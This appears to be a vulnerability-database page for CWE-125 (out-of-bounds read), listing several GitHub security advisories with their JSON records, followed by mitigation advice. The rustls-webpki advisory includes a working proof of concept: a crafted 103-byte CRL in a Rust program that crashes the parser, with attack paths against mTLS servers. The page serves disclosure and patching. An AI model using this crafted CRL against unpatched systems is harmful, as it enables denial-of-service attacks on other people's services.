Common Weakness Enumeration
CWE-125
AllowedOut-of-bounds Read
Abstraction: Base · Status: Draft
The product reads data past the end, or before the beginning, of the intended buffer.
11485 vulnerabilities reference this CWE, most recent first.
GHSA-82J2-J2CH-GFR8
Vulnerability from github – Published: 2026-04-24 16:20 – Updated: 2026-04-24 16:20
VLAI
Summary
rustls-webpki: Denial of service via panic on malformed CRL BIT STRING
Details
Summary
bit_string_flags() in src/der.rs panics with an index-out-of-bounds when given a BIT STRING whose content is exactly [0x00] (one byte: zero padding bits, zero data bytes). This is reachable through the public API BorrowedCertRevocationList::from_der() via the issuingDistributionPoint CRL extension.
Precondition: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass RevocationOptions to verify_for_usage() and load CRL bytes from a source the attacker can influence. The default rustls configuration (no RevocationOptions) is not affected.
AI disclosure: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.
Details
bit_string_flags() in src/der.rs reads the content of named-bit BIT
STRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:
if padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) {
return Err(Error::BadDer);
}
let last_byte = raw_bits[raw_bits.len() - 1]; // ← crash
misses the case padding_bits == 0 && raw_bits.is_empty().
When a BIT STRING has content [0x00] (one padding-bits byte set to zero, no data bytes):
- padding_bits = 0x00 — passes the > 7 check ✓
- raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false)
- raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX
- raw_bits[usize::MAX] → panic
Debug: thread 'main' panicked: attempt to subtract with overflow Release: thread 'main' panicked: index out of bounds: the len is 0 but the index is 18446744073709551615
PoC
Cargo.toml:
[dependencies]
rustls-webpki = "0.102.8" # also reproduces on 0.103.12
src/main.rs:
fn main() {
let crl: &[u8] = &[
0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,
0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,
0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,
0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,
0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,
0x03, 0x02, 0x00, 0x00,
];
// Panics — never returns
let _ = webpki::BorrowedCertRevocationList::from_der(crl);
}
output:
thread 'main' panicked at src/der.rs:...
index out of bounds: the len is 0 but the index is 18446744073709551615
Trigger
a0 10 -- cRLExtensions [0] EXPLICIT
30 0e -- SEQUENCE OF Extension
30 0c -- Extension SEQUENCE
06 03 55 1d 1c -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)
04 05 -- OCTET STRING (extnValue)
30 03 -- IssuingDistributionPoint SEQUENCE
83 01 00 -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00
-- padding_bits=0, data=[] ← TRIGGER
Impact
- Who is affected: Applications that (1) use rustls-webpki with CRL revocation checking explicitly enabled via RevocationOptions, and (2) load CRL bytes from a source an attacker can influence.
- Attack paths:
- mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required.
- TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "rustls-webpki"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.103.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "rustls-webpki"
},
"ranges": [
{
"events": [
{
"introduced": "0.104.0-alpha.1"
},
{
"fixed": "0.104.0-alpha.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T16:20:17Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension.\n\n**Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected.\n\n\u003e **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.\n\n### Details\n`bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT\nSTRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:\n\n```rust\nif padding_bits \u003e 7 || (raw_bits.is_empty() \u0026\u0026 padding_bits != 0) {\n return Err(Error::BadDer);\n}\nlet last_byte = raw_bits[raw_bits.len() - 1]; // \u2190 crash\n```\nmisses the case `padding_bits == 0 \u0026\u0026 raw_bits.is_empty()`.\nWhen a BIT STRING has content `[0x00]` (one padding-bits byte set to zero, no data bytes):\n- padding_bits = 0x00 \u2014 passes the \u003e 7 check \u2713\n- raw_bits = [] \u2014 passes is_empty() \u0026\u0026 != 0 check \u2713 (because 0 != 0 is false)\n- raw_bits.len() - 1 = 0usize - 1 = underflow \u2192 usize::MAX\n- raw_bits[usize::MAX] \u2192 panic\n\n\nDebug: thread \u0027main\u0027 panicked: attempt to subtract with overflow\nRelease: thread \u0027main\u0027 panicked: index out of bounds: the len is 0\n but the index is 18446744073709551615\n\n### PoC\nCargo.toml:\n```\n[dependencies]\nrustls-webpki = \"0.102.8\" # also reproduces on 0.103.12\n```\nsrc/main.rs:\n```\nfn main() {\n let crl: \u0026[u8] = \u0026[\n 0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,\n 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n 0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,\n 0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,\n 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,\n 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,\n 0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,\n 0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,\n 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n 0x03, 0x02, 0x00, 0x00,\n ];\n // Panics \u2014 never returns\n let _ = webpki::BorrowedCertRevocationList::from_der(crl);\n}\n```\noutput:\n```\nthread \u0027main\u0027 panicked at src/der.rs:...\nindex out of bounds: the len is 0 but the index is 18446744073709551615\n```\n#### Trigger\n```\na0 10 -- cRLExtensions [0] EXPLICIT\n 30 0e -- SEQUENCE OF Extension\n 30 0c -- Extension SEQUENCE\n 06 03 55 1d 1c -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)\n 04 05 -- OCTET STRING (extnValue)\n 30 03 -- IssuingDistributionPoint SEQUENCE\n 83 01 00 -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00\n -- padding_bits=0, data=[] \u2190 TRIGGER\n```\n\n\n### Impact\n- Who is affected: \nApplications that (1) use rustls-webpki with CRL\nrevocation checking explicitly enabled via RevocationOptions, and (2)\nload CRL bytes from a source an attacker can influence.\n- Attack paths:\n - mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs \u2014 common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker\u0027s CRL during the handshake and panics. No MITM required.\n - TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.",
"id": "GHSA-82j2-j2ch-gfr8",
"modified": "2026-04-24T16:20:17Z",
"published": "2026-04-24T16:20:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rustls/webpki/security/advisories/GHSA-82j2-j2ch-gfr8"
},
{
"type": "PACKAGE",
"url": "https://github.com/rustls/webpki"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0104.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "rustls-webpki: Denial of service via panic on malformed CRL BIT STRING"
}
GHSA-82J3-37RP-V59P
Vulnerability from github – Published: 2023-06-28 18:30 – Updated: 2024-04-04 05:15
VLAI
Details
In btm_ble_update_inq_result of btm_ble_gap.cc, there is a possible out of bounds read due to a heap buffer overflow. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-13Android ID: A-264880969
Severity
4.4 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-21181"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-28T18:15:14Z",
"severity": "MODERATE"
},
"details": "In btm_ble_update_inq_result of btm_ble_gap.cc, there is a possible out of bounds read due to a heap buffer overflow. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-13Android ID: A-264880969",
"id": "GHSA-82j3-37rp-v59p",
"modified": "2024-04-04T05:15:04Z",
"published": "2023-06-28T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21181"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/pixel/2023-06-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-82M4-R6JP-V6CV
Vulnerability from github – Published: 2024-03-13 18:31 – Updated: 2024-03-13 18:31
VLAI
Details
Dell PowerEdge Server BIOS and Dell Precision Rack BIOS contain an improper parameter initialization vulnerability. A local low privileged attacker could potentially exploit this vulnerability to read the contents of non-SMM stack memory.
Severity
{
"affected": [],
"aliases": [
"CVE-2024-0154"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-788"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-13T17:15:46Z",
"severity": "LOW"
},
"details": "Dell PowerEdge Server BIOS and Dell Precision Rack BIOS contain an improper parameter initialization vulnerability. A local low privileged attacker could potentially exploit this vulnerability to read the contents of non-SMM stack memory.",
"id": "GHSA-82m4-r6jp-v6cv",
"modified": "2024-03-13T18:31:35Z",
"published": "2024-03-13T18:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0154"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000222898/dsa-2024-034-security-update-for-dell-poweredge-server-bios-for-an-improper-parameter-initialization-vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-82MC-W667-C9G9
Vulnerability from github – Published: 2022-12-22 21:30 – Updated: 2025-04-15 21:31
VLAI
Details
Mozilla developers Andrew McCreight, Nicolas B. Pierron, and the Mozilla Fuzzing Team reported memory safety bugs present in Firefox 100 and Firefox ESR 91.9. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Thunderbird < 91.10, Firefox < 101, and Firefox ESR < 91.10.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2022-31747"
],
"database_specific": {
"cwe_ids": [
"CWE-119",
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-22T20:15:00Z",
"severity": "CRITICAL"
},
"details": "Mozilla developers Andrew McCreight, Nicolas B. Pierron, and the Mozilla Fuzzing Team reported memory safety bugs present in Firefox 100 and Firefox ESR 91.9. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Thunderbird \u003c 91.10, Firefox \u003c 101, and Firefox ESR \u003c 91.10.",
"id": "GHSA-82mc-w667-c9g9",
"modified": "2025-04-15T21:31:24Z",
"published": "2022-12-22T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31747"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/buglist.cgi?bug_id=1760765%2C1765610%2C1766283%2C1767365%2C1768559%2C1768734"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-20"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-21"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-82MM-45XG-J4XH
Vulnerability from github – Published: 2022-05-24 19:13 – Updated: 2022-05-24 19:13
VLAI
Details
WeeChat before 3.2.1 allows remote attackers to cause a denial of service (crash) via a crafted WebSocket frame that trigger an out-of-bounds read in plugins/relay/relay-websocket.c in the Relay plugin.
{
"affected": [],
"aliases": [
"CVE-2021-40516"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-05T18:15:00Z",
"severity": "HIGH"
},
"details": "WeeChat before 3.2.1 allows remote attackers to cause a denial of service (crash) via a crafted WebSocket frame that trigger an out-of-bounds read in plugins/relay/relay-websocket.c in the Relay plugin.",
"id": "GHSA-82mm-45xg-j4xh",
"modified": "2022-05-24T19:13:02Z",
"published": "2022-05-24T19:13:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40516"
},
{
"type": "WEB",
"url": "https://github.com/weechat/weechat/commit/8b1331f98de1714bae15a9ca2e2b393ba49d735b"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/09/msg00018.html"
},
{
"type": "WEB",
"url": "https://weechat.org/doc/security"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-82MX-XFMG-73C8
Vulnerability from github – Published: 2022-05-14 01:30 – Updated: 2022-05-14 01:30
VLAI
Details
An issue was discovered in Irssi before 1.0.7 and 1.1.x before 1.1.1. Certain nick names could result in out-of-bounds access when printing theme strings.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2018-7051"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-15T20:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Irssi before 1.0.7 and 1.1.x before 1.1.1. Certain nick names could result in out-of-bounds access when printing theme strings.",
"id": "GHSA-82mx-xfmg-73c8",
"modified": "2022-05-14T01:30:10Z",
"published": "2022-05-14T01:30:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7051"
},
{
"type": "WEB",
"url": "https://irssi.org/security/irssi_sa_2018_02.txt"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/03/msg00021.html"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3590-1"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4162"
},
{
"type": "WEB",
"url": "http://openwall.com/lists/oss-security/2018/02/15/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-82P8-JXJF-CCQ3
Vulnerability from github – Published: 2022-05-14 00:52 – Updated: 2022-05-14 00:52
VLAI
Details
Adobe Acrobat and Reader versions 2018.011.20058 and earlier, 2017.011.30099 and earlier, and 2015.006.30448 and earlier have an out-of-bounds read vulnerability. Successful exploitation could lead to information disclosure. Note: A different vulnerability than CVE-2018-19721.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2018-19723"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-28T22:29:00Z",
"severity": "HIGH"
},
"details": "Adobe Acrobat and Reader versions 2018.011.20058 and earlier, 2017.011.30099 and earlier, and 2015.006.30448 and earlier have an out-of-bounds read vulnerability. Successful exploitation could lead to information disclosure. Note: A different vulnerability than CVE-2018-19721.",
"id": "GHSA-82p8-jxjf-ccq3",
"modified": "2022-05-14T00:52:58Z",
"published": "2022-05-14T00:52:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19723"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/acrobat/apsb18-34.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106751"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-82R8-3QFF-98V9
Vulnerability from github – Published: 2022-02-19 00:01 – Updated: 2022-03-01 00:01
VLAI
Details
This vulnerability allows remote attackers to disclose sensitive information on affected installations of Bentley MicroStation CONNECT 10.16.0.80. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of FBX files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current process. Was ZDI-CAN-15414.
{
"affected": [],
"aliases": [
"CVE-2021-46620"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-18T20:15:00Z",
"severity": "MODERATE"
},
"details": "This vulnerability allows remote attackers to disclose sensitive information on affected installations of Bentley MicroStation CONNECT 10.16.0.80. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of FBX files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current process. Was ZDI-CAN-15414.",
"id": "GHSA-82r8-3qff-98v9",
"modified": "2022-03-01T00:01:01Z",
"published": "2022-02-19T00:01:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46620"
},
{
"type": "WEB",
"url": "https://www.bentley.com/en/common-vulnerability-exposure/BE-2021-0012"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-22-207"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-82XJ-4WM9-29X6
Vulnerability from github – Published: 2022-05-24 16:43 – Updated: 2024-04-04 00:01
VLAI
Details
When processing certain files, PHP EXIF extension in versions 7.1.x below 7.2.8, 7.2.x below 7.2.17 and 7.3.x below 7.3.4 can be caused to read past allocated buffer in exif_iif_add_value function. This may lead to information disclosure or crash.
Severity
9.1 (Critical)
{
"affected": [],
"aliases": [
"CVE-2019-11035"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-18T17:29:00Z",
"severity": "CRITICAL"
},
"details": "When processing certain files, PHP EXIF extension in versions 7.1.x below 7.2.8, 7.2.x below 7.2.17 and 7.3.x below 7.3.4 can be caused to read past allocated buffer in exif_iif_add_value function. This may lead to information disclosure or crash.",
"id": "GHSA-82xj-4wm9-29x6",
"modified": "2024-04-04T00:01:31Z",
"published": "2022-05-24T16:43:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11035"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2519"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:3299"
},
{
"type": "WEB",
"url": "https://bugs.php.net/bug.php?id=77753"
},
{
"type": "WEB",
"url": "https://bugs.php.net/bug.php?id=77831"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/05/msg00035.html"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/Sep/38"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190502-0001"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K44590877"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3953-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3953-2"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4529"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00010.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00012.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00041.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00044.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-82XX-F4FF-H97X
Vulnerability from github – Published: 2022-05-14 01:57 – Updated: 2022-05-14 01:57
VLAI
Details
An issue was discovered in libgig 4.1.0. There is a heap-based buffer over-read in DLS::Region::GetSample() in DLS.cpp.
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2018-18194"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-09T20:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in libgig 4.1.0. There is a heap-based buffer over-read in DLS::Region::GetSample() in DLS.cpp.",
"id": "GHSA-82xx-f4ff-h97x",
"modified": "2022-05-14T01:57:25Z",
"published": "2022-05-14T01:57:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18194"
},
{
"type": "WEB",
"url": "https://github.com/TeamSeri0us/pocs/blob/master/libgig/README-1008.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.
Mitigation
Architecture and Design
Strategy: Language Selection
Use a language that provides appropriate memory abstractions.
CAPEC-540: Overread Buffers
An adversary attacks a target by providing input that causes an application to read beyond the boundary of a defined buffer. This typically occurs when a value influencing where to start or stop reading is set to reflect positions outside of the valid memory location of the buffer. This type of attack may result in exposure of sensitive information, a system crash, or arbitrary code execution.